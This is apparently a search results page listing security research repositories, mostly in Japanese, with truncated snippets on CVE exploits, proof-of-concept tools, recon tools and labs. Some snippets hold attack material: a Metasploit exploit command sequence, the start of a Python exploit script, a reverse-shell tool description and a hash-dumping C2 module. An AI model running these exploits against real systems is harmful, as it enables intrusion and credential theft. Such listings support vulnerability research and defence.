478718 matches found
tachyon
Tachyon Tachyon は高速なWebアプリケーションセキュリティ偵察ツールです。 Webアプリケーションをクロールし、残存ファイルやインデックス化されていないファイルを探すことに特化しており、さらに内部データを漏洩するレポートページやスクリプトを報告します。 ユーザー要件 Linux Python 3.6+ ユーザーインストール インストール: $ mkdir tachyon $ python3 -m venv tachyon/ $ cd tachyon $ source bin/activate $ pip install tachyon3 $ tachyon -h...
Get-log4j-Windows.ps1
Get-log4j-Windows.ps1 すべてのWindowsサーバー、ドメイン全体（マルチドメイン可）でlog4jコンポーネントを特定します。CVE-2021-44228 1,000台以上のWindowsサーバーに対応し、一度に250台以上のサーバーを処理できます。1k台のサーバーで約1時間半かかりました。 Apache log4j CVE-2021-44228 単一サーバーバージョン: 単一サーバーバージョン スクリプトの実行: エクスポート: 説明: CVE-2021-44228向けに作成...
CVE-2025-9216
StoreEngine – 支払い、メンバーシップ、アフィリエイト、セールスなどのための強力なWordPress eコマースプラグイン = 1.4.0 - 認証済み（購読者以上）任意ファイルアップロード StoreEngine プラグインは、CSVインポート/エクスポート機能に脆弱性を含んでおり、任意の認証済みユーザー （購読者、投稿者、編集者など）が任意のファイルをアップロードし、リモートコード実行を取得することを許可します。この脆弱性は2つのセキュリティ上の欠陥に起因します：1...
CVE-2021-22006
CVE-2021-22005 - VMWare vCenter Server ファイルアップロードからRCE 分析 使用方法 ------------------------------------------------------------- CVE-2021-22005 - VMWare vCenter Server File Upload to RCE Github: https://github.com/r0ckysec Twitter: https://twitter.com/r0cky6861636b Author: r0cky...
CVE-2023-46818
Metasploit モジュール Metasploit モジュール use exploit/linux/http/ispconfiglanguageedit set RHOSTS target.com set USERNAME admin set PASSWORD password123 set LHOST 127.0.0.1 set LPORT 4444 exploit ISPConfig 3.2.11p1以前で問題が発見されました。adminallowlangeditが有効な場合、管理者が言語ファイルエディタでPHPコードインジェクションを実行できる可能性があります。...
CVE-2022-0847-DirtyPipe-Exploit
CVE-2022-0847-DirtyPipe 脆弱性の概要 3月7日、海外のセキュリティ研究者Max Kellermannがブログを公開し、Linuxカーネルに存在するローカル権限昇格の脆弱性CVE-2022-0847を開示しました： https://dirtypipe.cm4all.com/ CVE-2022-0847は、Linuxカーネル5.8以降のバージョンに存在するローカル権限昇格の脆弱性です。攻撃者はこの脆弱性を悪用することで、読み取り可能な任意のファイル内のデータを上書きでき、通常権限のユーザーを特権rootに昇格させることができます。...
CVE-2024-44258
CVE-2024-44258: ManagedConfigurationフレームワークのシンボリックリンク脆弱性 概要 CVE-2024-44258 は、AppleデバイスのManagedConfigurationフレームワーク およびprofiledデーモン におけるシンボリックリンクの脆弱性を明らかにしています。細工されたバックアップを復元する際、移行プロセスが宛先フォルダがシンボリックリンク（symlink）であるかどうかを検証しないため、制限された領域への不正なファイル移行が発生します。 CVE ID CVE-2024-44258...
Cisco-Unified-Communications-Manager-Server-Side-Forgery-Request-Vulnerability-CVE-2026-20230
CVE-2026-20230 Cisco Unified Communications Manager SSRF 任意文件書き込みからRCEへのPoC導出プロセスと考察 適用範囲：ローカルターゲット、許可された再現環境、脆弱性検証、防御ルール分析のみ。未承認のターゲットに対して使用しないこと。本記事は主にCVE-2026-20230の攻撃チェーン、検証可能な現象、判断ロジック、防御の考え方を分析するものであり、直接コピーして実行可能な攻撃パケット、WebShellの内容、コマンド実行ペイロードは提供しない。 1. 脆弱性の背景 CVE-2026-20230は、Cisco Unified...
CVE-2024-37726-MSI-Center-Local-Privilege-Escalation
CVE-2024-37726 MSI Center ローカル権限昇格 - 任意ファイル上書きの脆弱性 脆弱性の概要 Windows OS上で、MSI Center バージョン = 2.0.36.0 において、低権限ユーザーがシステム上の高権限・重要なファイルを任意に上書きまたは削除できるローカル権限昇格の脆弱性が特定されました。この脆弱性は、MSI Center アプリケーションが NT AUTHORITY\SYSTEM...
syncord
Syncord $$\ $$ | $$$$$$$\ $$\ $$\ $$$$$$$\ $$$$$$$\ $$$$$$\ $$$$$$\ $$$$$$$ | $$ |$$ | $$ |$$ $$\ $$ |$$ $$\ $$ $$\ $$ $$ | $$$$$$\ $$ | $$ |$$ | $$ |$$ / $$ / $$ |$$ | |$$ / $$ | $$\ $$ | $$ |$$ | $$ |$$ | $$ | $$ |$$ | $$ | $$ | $$$$$$$ |$$$$$$$ |$$ | $$ |$$$$$$$\ $$$$$$ |$$ | $$$$$$$ | /...
CVE-2021-43798-Grafana
CVE-2021-43798 Grafana任意ファイル読み取り 1.インストール pip3 install -r requirements.txt 2.使い方 $ python3 grafana.py -h / | \ \ / / | | | \ / \ | \ / | | || | | / | | / \ | | \ \ / / | | | | | | | | | | | || | | \ / / | | / \ | | \ V / | | || / / | || | / / | | || | | | / / , | | | | / || || / || || || |/ //...
CVE-2026-13158
CVE-2026-13158: Everest Toolkit クイックリンク： 完全なディープダイブ技術アドバイザリは DEV.to の記事 で読むか、研究者の公式 サイバーセキュリティポートフォリオ をご覧ください。 📌 エグゼクティブサマリーと技術メタデータ パラメータ| 技術仕様 ---|--- 脆弱性識別子| CVE-2026-13158 対象ソフトウェア| Everest Toolkit（WordPress プラグイン） プラグインスラッグ| everest-toolkit 影響を受けるバージョン| = 1.2.3 脆弱性クラス|...
dumpguard_bof
DumpGuard BOF DumpGuard の Beacon Object File BOF ポート。最新の Windows システム上のセッションから NTLMv1 ハッシュを抽出します。 このプロジェクトについて このリポジトリには、DumpGuard の Beacon Object File BOF 実装が含まれています。元の C/.NET 実装から純粋な C に移植され、Havoc および BOF 実行をサポートする他の C2 フレームワークで使用できます。 これは Proof of Concept PoC であり、学習用の演習です。 この BOF ポートは、Remote...
cloudlist
Features • Installation • Usage • Configuration • Running cloudlist • Supported providers • Library • Join Discord Cloudlist is a multi-cloud tool for getting Assets from Cloud Providers. This is intended to be used by the blue team to augment Attack Surface Management efforts by maintaining a...
CVE-2018-12613-phpMyAdmin
CVE-2018-12613-phpMyAdmin この記事では、phpMyAdmin 4.8.1 バージョンのファイルインクルード脆弱性について、設定から原理、脆弱性の再現まで解説します。さらに重要なのは、これらの実際の脆弱性の背後にある知識を皆さんに理解していただくことです。基礎的な記事であり、お役に立てれば幸いです！...
CVE-2022-45047
CVE-2022-45047 POC、EXP、私のためのchatGPT コード import requests targeturl = "http://127.0.0.1:7001" CVE-2022-45047 def exploitweblogic: headers = "Content-Type": "text/xml", "User-Agent": "Mozilla/5.0 Windows NT 10.0; Win64; x64; rv:93.0 Gecko/20100101 Firefox/93.0", "Accept-Encoding": "gzip, deflate" da...
fastjson-jsontype-rce-lab
Fastjson @JSONType リモートJAR/FDチェーン ラボと検出 このリポジトリには、現在2つの異なるFastjson調査トラックが保存されています： modern-fd/ は、Spring Boot 3、標準の組み込みTomcat、JDK 17上でのFastjson 1.2.83 シングルボディのリモートJAR/ファイルディスクリプタチェーンの、推奨されるマーカーのみ の再現です。AutoTypeを無効にした状態で、リテラルな固定DTOシンク JSON.parseObjectbody, BoundEnvelope.class を使用します。 元のトップレベルDocker...
CVE-2025-30208-Series
CVE-2025-30208 & CVE-2025-31125 & CVE-2025-31486 1. 脆弱性の概要 CVE-2025-30208、CVE-2025-31125、CVE-2025-31486 は、Vite 開発サーバーにおける任意ファイル読み取りの脆弱性です。この脆弱性により、攻撃者は特定の URL パラメータを通じてアクセス制御を回避し、fs モジュールを介してサーバー上の機密ファイルを読み取ることができます。上記の 3 つの脆弱性は、原因が非常に似ているため、1 つのシリーズの脆弱性と見なすことができます。 CVE-2025-30208...
ColdFusion_EXp
CVE-2023-29298/CVE-2023-26360 脆弱性を利用したリバースシェルツール 概要 脆弱性の原理は、CFMLデータクライアントリクエストを構築すると、そのデータがサーバーのcoldfusion-out.logに保存されることです。このディレクトリにはリクエストのエラー情報が記録され、coldfusion-out.logファイルには書き込んだコードが含まれます。その後、classnameを使用してこのログファイルを読み取り実行することで、コード実行を達成します。...